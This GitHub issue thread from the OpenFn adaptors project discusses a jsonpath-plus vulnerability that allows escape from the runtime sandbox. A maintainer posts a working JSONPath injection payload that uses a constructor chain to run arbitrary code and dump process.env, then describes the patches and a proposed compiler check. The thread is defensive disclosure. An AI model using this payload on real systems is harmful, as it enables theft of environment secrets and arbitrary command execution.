Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security issue on jsonpath plus #781

Closed
josephjclark opened this issue Oct 15, 2024 · 3 comments
Closed

Security issue on jsonpath plus #781

josephjclark opened this issue Oct 15, 2024 · 3 comments

Comments

@josephjclark
Copy link
Collaborator

Taken at face value this looks very serious indeed:

https://github.com/OpenFn/adaptors/security/dependabot/104
https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-7945884

It provides an attack vector into the runtime sandbox, allowing arbitry execution of commands (via process, child_process, etc).

The affected APIs are widely-used functions in common, like each and dataValue. Anything that accepts a JSON path.

A fix to all adaptors would be required, but this would not affect legacy adaptors in production right now. We may have to back port a fix to common 1.0 too

@josephjclark
Copy link
Collaborator Author

Yep, running in the CLI, I can get my environment with:

const CMD = "console.log(process.env)";
const ATTACK  = `$[(this.constructor.constructor("${CMD}")())]`

each(ATTACK, fn((state) => {
    console.log(state.data)
    return state;
}))

I can presumably do what I want from here - run shell commands or whatever.

@josephjclark
Copy link
Collaborator Author

I've merged in fixes for latest adaptor releases, including a legacy common 1.15.2 patch.

That means that our latest adaptors are at least secure.

@josephjclark
Copy link
Collaborator Author

My best idea so far for a safe legacy fix is to add logic to the compiler.

If we detect a json path string like $.a.b.c with anything weird in it, like parenthesis, the compiler could throw.

Workflows which do use jsonpath strings should really only be using super simple expressions, and I'd be reasonably happy to throw if anything looks amiss in those strings. I think the pattern is fairly strong.

This doesn't help us on v1, although since the compiler uses the same basic technologies I suppose we could backport a fix.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
Status: Done
Development

No branches or pull requests

1 participant